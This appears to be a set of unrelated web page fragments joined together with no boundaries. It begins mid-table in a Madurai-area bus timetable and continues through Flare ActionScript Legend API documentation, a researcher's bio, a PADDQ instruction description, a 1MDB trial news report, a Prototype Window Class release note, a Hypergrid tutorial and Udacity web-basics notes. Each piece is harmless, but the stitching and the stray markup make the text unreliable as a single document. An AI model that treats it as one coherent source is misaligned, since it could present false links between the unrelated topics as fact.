0.35 |
8.30am,1pm
|
716 |
Periyar
bus stand |
Thiruvathavur |
Court |
4 |
1.05 |
5.30am,8.30am,1pm,5pm
|
810 |
Periyar
bus stand |
Sooriya
nagar |
Simmakkal |
4 |
0.30 |
5.30am,8.30am,1pm,5pm
|
843
LSS |
Periyar
bus stand |
Alagarkoil |
Intergrated
bus stand |
5 |
0.50 |
5am,8am,12pm,3pm,7pm
|
844
EXP |
Periyar
bus stand |
Alagarkoil |
Pudur |
2 |
0.40 |
7.30am,10.30am
|
844
LSS |
Periyar
bus stand |
Alagarkoil |
Pudur |
7 |
0.50 |
5.30am,8.30am,1pm,5pm,8pm,10.30pm
|
1B |
Periyar bus stand |
P & T
Nagar |
Narimedu |
2 |
0.35 |
5.30am,5pm
|
4A |
Periyar bus stand |
Anuppanadi |
Eate gate, Theppakulam |
3 |
0.25 |
6.30am,11.30am,5pm
|
5LSS |
Integrated bus stand |
Thirunagar |
Periyar bus stand, Thirupparankundram |
4 |
0.50 |
7.30am,8.30am,1.45pm,5pm
|
8B |
Anuppanadi |
Dr.J J Nagar |
Arappalayam |
4 |
1.00 |
5.30am,8.30am,1pm,5pm
|
11B |
Periyar bus stand |
M G Nagar |
Narimedu |
5 |
0.35 |
6.30am,8.30am,12pm,5pm,8pm
|
14B |
Integrated bus stand |
Thirunagar |
South gate, Thirupparankundram |
4 |
1.05 |
5.30am,8.30am,1pm,5pm
|
A14/B14 LSS |
Anna nagar |
Thirunagar |
South gate, Thirupparankundram |
4 |
1.00 |
5.30am,8.30am,1pm,5pm
|
A22/B22 LSS |
P&T
Nagar |
Thirunagar |
Periyar bus stand |
2 |
1.00 |
1pm,5pm
|
A22A/B22A LSS |
Pudur |
Thirunagar |
Periyar bus stand |
2 |
1.00 |
7am,8.30am
|
48A LSS |
Anna nagar |
Thirumangalam |
Periyar bus stand |
2 |
0.55 |
7.30am,8.30am
|
48A EXP |
Anna nagar |
Thirumangalam |
Periyar bus stand |
2 |
0.50 |
7.30am,8.30am
|
48Z EXP |
M G Nagar |
Thirumangalam |
Periyar bus stand |
1 |
0.55 |
8.30am,/font>
|
49 |
Pudur |
Thirumangalam |
Periyar bus stand |
2 |
1.05 |
7.30am,12pm
|
49LSS |
Min Nagar |
Thirumangalam |
Periyar bus stand |
4 |
0.55 |
5.30am,8.30am,1pm,5pm
|
73 |
Anna nagar |
Palanganatham |
Periyar bus stand |
4 |
0.45 |
5.30am,8.30am,1pm,5pm
|
77 |
Arappalayam |
Anna nagar |
Intergrated bus stand |
3 |
0.30 |
8am,1pm,7pm
|
862 |
Periyar bus stand |
Krishnanagar |
Simmakkal |
1 |
0.28 |
8.30am
|
21B |
Periyar bus stand |
Vadivelkarai |
Kalavasal, M K University |
1 |
0.30 |
12pm
|
21C |
Periyar bus stand |
Keelakuilkudi |
Kalavasal, M K University |
1 |
0.35 |
8.30am
|
29 LSS |
Periyar bus stand |
Sholavandan |
Thenur |
4 |
0.50 |
5.30am,8.30am,1pm,5pm
|
40B |
Periyar bus stand |
Kodikulam |
University |
3 |
1.15 |
7.30am,9am,10am
|
42 |
Periyar bus stand |
Poovanthi |
Karuppayurani |
1 |
1.00 |
10.30am
|
57LSS |
Periyar bus stand |
Palamedu |
Alanganallur |
2 |
0.45 |
8.30am,5pm
|
71LSS |
Periyar bus stand |
Vadipatti |
Samayanallur |
8 |
0.55 |
5.30am,8.30am,11am,2pm,5pm,7.30pm,9pm,11pm
|
75EXP |
Periyar bus stand |
Melur |
Court |
4 |
0.50 |
6.30am,9.30am,12pm,5pm
|
75LSS |
Periyar bus stand |
Melur |
Court |
8 |
0.50 |
5.30am,8.30am,11am,2pm,5pm,7.30pm,9pm,11pm
|


| Package | flare.vis.legend |
| Class | public class Legend |
| Inheritance | Legend mx.core.UIComponent |
LegendItem
instances
stored in the items
sprite. Range legends consist of
a single LegendRange
instance stored in the
items
sprite.
There are multiple ways to generate a legend. To build a legend
based on an existing visual encoding, use the static
fromScale
constructor. This method takes a data scale
and one more or more palettes (e.g., color, shape, or size palettes)
and uses them to generate an appropriate legend. If the data scale
is a quantitative scale and only a color palette is provided, a
continuous range legend will be generated. Otherwise, a discrete
legend will be created.
Legends can also be created from a collection of independent
values using the static fromValues
constructor. This
method takes an array of legend item descriptions and uses them to
generate a legend. For example, consider this code:
var legend:Legend = Legend.fromValues("Legend Title", [ {color: 0xff0000, shape:Shapes.X, label:"Red X"}, {color: 0x00ff00, shape:Shapes.SQUARE, label:"Green Square"}, {color: 0x0000ff, shape:Shapes.CIRCLE, label:"Blue Circle"} ]);
This example will create a legend with the described values.
See the documentation for the buildFromValues
method
for more details.
| Property | Defined by | ||
|---|---|---|---|
| baseIconSize : Number Base icon size, corresponding to a size factor of 1.
| Legend | ||
| border : RectSprite
[read-only] Sprite defining the border of the legend.
| Legend | ||
| bounds : Rectangle The layout bounds for this legend instance.
| Legend | ||
| colorPalette : ColorPalette
The color palette used to encode values (may be null).
| Legend | ||
| defaultColor : uint The default color to use for legend items.
| Legend | ||
| discrete : Boolean [read-only] Flag indicating if this legend is discrete or continuous.
| Legend | ||
| items : Sprite [read-only] Sprite containing the legend items.
| Legend | ||
| labelTextFormat : TextFormat TextFormat (font, size, style) of legend item labels.
| Legend | ||
| labelTextMode : int Label text mode.
| Legend | ||
| margin : Number Margins within legend items.
| Legend | ||
| orientation : String The desired orientation of this legend.
| Legend | ||
| range : LegendRange
[read-only] The legend range, if this legend is continuous.
| Legend | ||
| scale : Scale
Scale instance used to define the legend mapping.
| Legend | ||
| shapePalette : ShapePalette
The shape palette used to encode values (may be null).
| Legend | ||
| sizePalette : SizePalette
The size palette used to encode values (may be null).
| Legend | ||
| spacing : Number Spacing between legend items.
| Legend | ||
| title : TextSprite
[read-only] TextSprite containing the legend title.
| Legend |
| Method | Defined by | ||
|---|---|---|---|
|
Legend(title:String, scale:Scale = null, colors:ColorPalette = null, shapes:ShapePalette = null, sizes:SizePalette = null)
Creates a new Legend for the given data field.
| Legend | ||
|
buildFromScale():void
Builds the contents of this legend from the current scale values.
| Legend | ||
|
buildFromValues(values:Array):void
Populates the contents of this legend from a list of value objects.
| Legend | ||
|
[static]
Generates a legend from a given scale and one or more palettes.
| Legend | ||
|
fromValues(title:String, values:Array):Legend
[static]
Generates a legend from an array of legend item values.
| Legend | ||
|
layout(t:Transitioner = null):void
Performs layout, setting the position for all items in the legend.
| Legend | ||
|
setItemProperties(vals:Object, t:* = null):Transitioner
Sets property values on all legend items.
| Legend | ||
|
Update the legend, recomputing layout of items.
| Legend |
| baseIconSize | property |
baseIconSize:Number
[read-write]Base icon size, corresponding to a size factor of 1.
Implementation public function get baseIconSize():Number
public function set baseIconSize(value:Number):void
| border | property |
border:RectSprite
[read-only]Sprite defining the border of the legend.
Implementation public function get border():RectSprite
| bounds | property |
bounds:Rectangle
[read-write]The layout bounds for this legend instance.
Implementation public function get bounds():Rectangle
public function set bounds(value:Rectangle):void
| colorPalette | property |
colorPalette:ColorPalette
[read-write]The color palette used to encode values (may be null).
Implementation public function get colorPalette():ColorPalette
public function set colorPalette(value:ColorPalette):void
| defaultColor | property |
defaultColor:uint
[read-write]The default color to use for legend items.
Implementation public function get defaultColor():uint
public function set defaultColor(value:uint):void
| discrete | property |
discrete:Boolean
[read-only]Flag indicating if this legend is discrete or continuous.
Implementation public function get discrete():Boolean
| items | property |
items:Sprite
[read-only]Sprite containing the legend items.
Implementation public function get items():Sprite
| labelTextFormat | property |
labelTextFormat:TextFormat
[read-write]TextFormat (font, size, style) of legend item labels.
Implementation public function get labelTextFormat():TextFormat
public function set labelTextFormat(value:TextFormat):void
| labelTextMode | property |
labelTextMode:int
[read-write]Label text mode.
Implementation public function get labelTextMode():int
public function set labelTextMode(value:int):void
| margin | property |
margin:Number
[read-write]Margins within legend items.
Implementation public function get margin():Number
public function set margin(value:Number):void
| orientation | property |
orientation:String
[read-write]The desired orientation of this legend.
Implementation public function get orientation():String
public function set orientation(value:String):void
| range | property |
range:LegendRange
[read-only]The legend range, if this legend is continuous. This value is null if the legend is discrete.
Implementation public function get range():LegendRange
| scale | property |
scale:Scale
[read-write]Scale instance used to define the legend mapping.
Implementation public function get scale():Scale
public function set scale(value:Scale):void
| shapePalette | property |
shapePalette:ShapePalette
[read-write]The shape palette used to encode values (may be null).
Implementation public function get shapePalette():ShapePalette
public function set shapePalette(value:ShapePalette):void
| sizePalette | property |
sizePalette:SizePalette
[read-write]The size palette used to encode values (may be null).
Implementation public function get sizePalette():SizePalette
public function set sizePalette(value:SizePalette):void
| spacing | property |
spacing:Number
[read-write]Spacing between legend items.
Implementation public function get spacing():Number
public function set spacing(value:Number):void
| title | property |
title:TextSprite
[read-only]TextSprite containing the legend title.
Implementation public function get title():TextSprite
| Legend | () | constructor |
public function Legend(title:String, scale:Scale = null, colors:ColorPalette = null, shapes:ShapePalette = null, sizes:SizePalette = null)
Creates a new Legend for the given data field.
Parameterstitle:String — the data field to describe with the legend
|
|
scale:Scale (default = null ) — the visualization corresponding to this legend
|
|
colors:ColorPalette (default = null ) — the scale value used to map the data field to visual
variables
|
|
shapes:ShapePalette (default = null )
|
|
sizes:SizePalette (default = null )
|
| buildFromScale | () | method |
public function buildFromScale():void
Builds the contents of this legend from the current scale values. This method will remove all items from the legend and rebuild the legend using the current scale and palette settings.
| buildFromValues | () | method |
public function buildFromValues(values:Array):void
Populates the contents of this legend from a list of value objects.
This method will create a legend with discrete entries determined by
the contents of the input values
array. This should be
an array of objects containing the following properties:
value
: The data value the legend item represents.
This value is not required.label
: The text label to place in the legend item.
If this value is not provided, the method will attempt to
generate a label string from the value
property.color
: The color for the legend item. If missing,
this legend's default color will be used.shape
: The shape for the legend item. If missing,
a default circle shape will be used.size
: The size for the legend item. If missing,
a size value of 1 will be used.values:Array — an array of value to include in the legend.
|
| fromScale | () | method |
public static function fromScale(title:String, scale:Scale, palette:Palette, ... args):Legend
Generates a legend from a given scale and one or more palettes. If multiple palettes of the same type are provided, only the first of each type will be used for the legend, the others will be ignored.
Parameterstitle:String — the title text for the legend
|
|
scale:Scale — the scale instance determining the legend values
|
|
palette:Palette — a color, shape, or size palette for legend items
|
|
... args — one or more additional palettes
|
Legend —
the generated Legend, or null if a legend could not be built
|
| fromValues | () | method |
public static function fromValues(title:String, values:Array):Legend
Generates a legend from an array of legend item values. This method
simply instantiates a new Legend
instance with the
given title and then invokes the buildFromValues
method
with the given value array.
title:String — the legend title text, or null for no title.
|
|
values:Array — an array of values for the legend items. See the
documentation for the buildFromValues method for more.
|
Legend —
the generated legend
|
| layout | () | method |
public function layout(t:Transitioner = null):void
Performs layout, setting the position for all items in the legend.
Parameterst:Transitioner (default = null ) — a transitioner for value updates
|
| setItemProperties | () | method |
public function setItemProperties(vals:Object, t:* = null):Transitioner
Sets property values on all legend items. The values
within the vals
argument can take a number of forms:
Function
, it will be evaluated
for each element and the result will be used as the property
value for that element.IEvaluable
instance, such as
flare.util.Property
or
flare.query.Expression
, it will be evaluated for
each element and the result will be used as the property value
for that element.vals:Object — an object containing the properties and values to set.
|
|
t:* (default = null ) — a transitioner or time span for updating object values. If
the input is a transitioner, it will be used to store the updated
values. If the input is a number, a new Transitioner with duration
set to the input value will be used. The input is null by default,
in which case object values are updated immediately.
|
Transitioner —
the transitioner used to update the values
|
| update | () | method |
public function update(t:Transitioner = null):Transitioner
Update the legend, recomputing layout of items.
Parameterst:Transitioner (default = null ) — a transitioner for value updates
|
Transitioner —
the input transitioner
|


{{title}}
URL:
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Your browser does not support HTML5 MPG4 video. But you may be able to see it at
PDComedy
Popeye for President
is in the public domain.
Play


Software engineer, researcher, inner source, open source, ginger chicken
I am a researcher at the Open Source Research Group at Friedrich-Alexander-Universität Erlangen-Nürnberg. I am currently working on inner source; more specifically on how to measure and evaluate it.
Find out more about me on Github, StackOverflow, Google Scholar, osr.cs.fau.de, LinkedIn, XING, or via an email to<EMAIL_ADDRESS>| Kirsch, C., Drost-Fromm, I., Tigges, J., Dorner, M., & Capraro, M. (2019, July). Inner Source: Open-Source-Prinzipien im Unternehmen anwenden. In iX - Magazin für professionelle Informationstechnik. Heise Verlag. | [Link] |
| Capraro, M., Dorner, M., & Riehle, D. (2018, May). The Patch-Flow Method for Measuring Inner Source Collaboration. In 2018 IEEE/ACM 15th International Conference on Mining Software Repositories (MSR) (pp. 515-525). IEEE. | [PDF] |
| Capraro, M., & Riehle, D. (2017). Inner Source Definition, Benefits, and Challenges. ACM Computing Surveys (CSUR), 49(4), 67. | [PDF] |
| Riehle, D., Capraro, M., Kips, D., & Horn, L. (2016). Inner Source in Platform-Based Product Engineering. IEEE Transactions on Software Engineering, 42(12), 1162-1177. | [PDF] |
| Capraro, M. (2013). Towards a Representative and Diverse Analysis of Issue-Tracker Related Code and Process Metrics. Master Thesis at Friedrich-Alexander-University Erlangen-Nürnberg, Germany. | [PDF] |
Also, I had the privilege to supervise over 15 student theses on inner source, open source, and software development. You can find some of them here.


You can rename exported file to something more usefull than Unknown
Unknown
Minify CSS before injecting
Enable context menu item


|
Adds the first operand (destination operand) to the second operand (source operand) and stores the result in the destination operand. The source operand can be a quadword integer stored in an MMX technology register or a 64-bit memory location, or it can be two packed quadword integers stored in an XMM register or an 128-bit memory location. The destination operand can be a quadword integer stored in an MMX technology register or two packed quadword integers stored in an XMM register. When packed quadword operands are used, an SIMD add is performed. When a quadword result is too large to be represented in 64 bits (overflow), the result is wrapped around and the low 64 bits are written to the destination element (that is, the carry is ignored).
Note that the PADDQ instruction can operate on either unsigned or signed (two's complement notation) integers; however, it does not set bits in the EFLAGS register to indicate overflow and/or a carry. To prevent undetected overflow conditions, software must control the ranges of the values operated on.
|


Prosecution calls first formal witness in 1MDB audit tampering trial
by Arjuna Chandran ShankarKUALA LUMPUR (Nov 18): The prosecution has called its first formal witness in the 1Malaysia Development Bhd (1MDB) audit tampering trial involving former premier and finance minister Datuk Seri Najib Razak and former 1MDB chief executive officer and president Arul Kanda Kandasamy.
Daman Huri Nor is the first formal witness to enter the witness stand.
He is currently administrative secretary for constitutional matters and Parliament under the Prime Minister's Department.
As a formal witness, he was called to confirm that Najib was indeed appointed as Prime Minister from 2009 to 2018, and therefore a civil servant — the capacity in which he was charged for the audit report tampering offence.
While formal witnesses can be cross-examined, they are generally not subjected to questioning by the opposing legal team.
The court is in recess for half an hour, and the defence teams for both Arul and Najib say they do not intend to cross-examine him prior to the recess being called.
Proceedings will end at 2pm today.


With simulation, we can study:
experimentation with a model
simplified abstraction of reality
which embraces only the scope and level of detail needed to satisfy specific study objectives
You never change things by fighting the existing reality. To change something, build a new model that makes the existing model obsolete.— Buckminster Fuller
A vessel to realize imagination.
A tool to affect positive change.
A medium to turn dreams into reality.


Welcome to Prototype Window Class
New version is out (0.95)
Now you can set windows or dialog contents with an Ajax request!! This popup is created using an Ajax request. The dialog can even compute its width or height. Here is the line to open this popup:
Dialog.alert({url: "info_panel.html", options: {method: 'get'}},
{windowParameters: {className: "alphacube", width:500},
okLabel: "Close"});
This is really cool, you do not have to write HTML inside your page anymore. If you are writing a Rails application for example, just write window content in a partial.
This release includes also:
- fixed IE issue when you destroy window with an url that embeds mp3
- fixed buttonClass issue for Dialog, so now yuo can custom ok and cancel button.
- update samples
If it's not your first visit, and if you have any troubles with samples, clear your cache.
PS A rails plugins should be available soon!! (thanks to DJTal and Ricp)


The Edit tab
Validation
Normally, there is no point in returning an error message unless you can describe the error specifically. Without an error message, Hypergrid (that is, the CellEditor
superclass) will still put up an alert with a general description of the error.
CE-3
Return error from invalid
method
- Switch to the Format tab
Load the trend
localizer by selecting it from the drop-down
The truthy return value that the invalid
method returns on invalid syntax may optionally be a string.
Edit the method to return
It comes with a sample cell editor called Trend
for editing values formatted and parsed with the trend
localizer.


Understanding of how users, computers, server, HTPP, and the internet fit together
UNIT 1Basics of the Web
-the web
-HTML
-URLs
-HTPP
-web applications***what this course is about
World Wide Web
-HTML- Hyper Text Markup Language (90's)'
-glues everything together "web-like"
-main type of document/content on the web
-HTTP-"requests" to servers
HTML
HTML is made up of:
-Text content "what you see"
Udacity web site
-click to get to course
Resoures
Scratchpad-HTML document creator